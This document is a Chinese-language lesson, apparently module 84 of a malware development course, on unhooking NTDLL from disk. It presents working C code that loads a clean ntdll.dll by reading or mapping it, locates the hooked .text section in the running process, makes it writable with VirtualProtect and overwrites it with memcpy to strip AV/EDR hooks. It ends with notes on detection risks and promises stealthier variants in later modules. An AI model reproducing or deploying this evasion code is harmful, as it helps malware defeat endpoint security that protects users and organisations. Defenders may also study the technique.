模块 84 - NTDLL 取消挂钩 (Unhooking) - 来自磁盘
恶意软件开发课程 - NTDLL 取消挂钩 (Unhooking) - 来自磁盘
模块 84 - NTDLL 取消挂钩 (Unhooking) - 来自磁盘#
NTDLL 取消挂钩 (Unhooking) - 来自磁盘#
简介#
本模块演示了如何通过使用磁盘上的干净 NTDLL 映像覆盖进程中被挂钩的 NTDLL 的 .text 节来实现 NTDLL 取消挂钩。执行 NTDLL 取消挂钩的具体步骤如下:
- 通过读取或映射获取磁盘上干净版本的 NTDLL 句柄。
- 提取当前进程中已被挂钩的 NTDLL 句柄。
- 提取被挂钩 NTDLL 的
.text节信息。 - 提取干净 NTDLL 的
.text节信息。 - 用干净的
.text节覆盖被挂钩的.text节。
1. 获取干净的 NTDLL#
我们可以通过以下两种方式从磁盘获取干净的 NTDLL:
方法 A:使用 ReadFile API#
使用常规的文件读取 API。需要注意的是,在这种情况下,.text 节的文件偏移量通常为 1024 (0x400)。
#define NTDLL "NTDLL.DLL"
// 从磁盘读取完整的 ntdll.dll 到内存缓冲区
BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
CHAR cWinPath [MAX_PATH / 2] = { 0 };
CHAR cNtdllPath [MAX_PATH] = { 0 };
HANDLE hFile = NULL;
DWORD dwNumberOfBytesRead = NULL, dwFileLen = NULL;
PVOID pNtdllBuffer = NULL;
// 获取 Windows 目录路径 (例如 C:\Windows)
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
return FALSE;
}
// 拼接完整的 ntdll 路径
sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);
// 打开文件句柄
hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) { return FALSE; }
// 分配足够的内存并读取文件内容
dwFileLen = GetFileSize(hFile, NULL);
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {
goto _EndOfFunc;
}
*ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
if (hFile) CloseHandle(hFile);
return (*ppNtdllBuf != NULL);
}c方法 B:使用内存映射 (Mapping)#
使用 CreateFileMapping 和 MapViewOfFile。这种方式更有优势,因为它利用了操作系统的内存管理机制,且此时 .text 节的对齐偏移量将是 4096 (0x1000)。
💡 初学者提示:为什么要选择“映射”而不是“读取”?
类比理解:
- 读取 (ReadFile):就像你找图书馆复印了一整本书带回家。虽然内容一样,但排版页码可能和你桌上那本已打开的书不一致。
- 映射 (Mapping):就像你向图书馆借了原书,并要求图书馆按你的阅读习惯重新排版映射。使用
SEC_IMAGE_NO_EXECUTE标志时,它会自动处理好内存对齐,让你能更精准地进行“掉包”操作。
2. 执行核心取消挂钩:覆盖 .text 节#
我们实现了一个通用的函数 ReplaceNtdllTxtSection 来执行替换操作。
// 核心逻辑:替换被挂钩的 .text 节
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress(); // 获取当前进程的 ntdll 基址
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
PVOID pLocalNtdllTxt = NULL; // 指向内存中被挂钩的代码段
PVOID pRemoteNtdllTxt = NULL; // 指向磁盘加载的干净代码段
SIZE_T sNtdllTxtSize = NULL; // 代码段大小
// 解析 PE 节表,定位 .text 节
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// 搜索 ".text" 节
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
// 重要:根据读取方式选择正确的偏移。映射方式直接使用虚拟地址。
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize) return FALSE;
DWORD dwOldProtection = NULL;
// 1. 修改内存保护属性,使 .text 节可写 (PAGE_EXECUTE_WRITECOPY)
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
return FALSE;
}
// 2. 关键这一步:使用 memcpy 进行“掉包”,用干净代码覆盖掉挂钩代码
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
// 3. 恢复原始内存保护属性 (PAGE_EXECUTE_READ)
VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection);
return TRUE;
}c3. 处理对齐 Edge Cases(边缘情况)#
📚 知识扩展:处理“异常”对齐
有时即使是
ReadFile读取,由于 Windows 的优化,其偏移也可能意外地在 4096 边界上。代码中通过检查.text节开头的特征操作码(如0xCC)来动态校验并修正偏移量,确保拷贝的数据始终正确。
总结与风险提示#
从磁盘取消挂钩(Disk Unhooking)虽然强大且易于实现,但也面临以下挑战:
- 已知技术:安全厂商(AV/EDR)对这种技术非常熟悉,可能会对修改
ntdll.dll内存属性的行为进行启发式拦截。 - 被监控的文件访问:读取
C:\Windows\System32\ntdll.dll本身就是一个可疑行为。
在接下来的模块中,我们将探讨更隐蔽的获取方式,如从 KnownDlls 或 挂起进程 中获取干净的映像。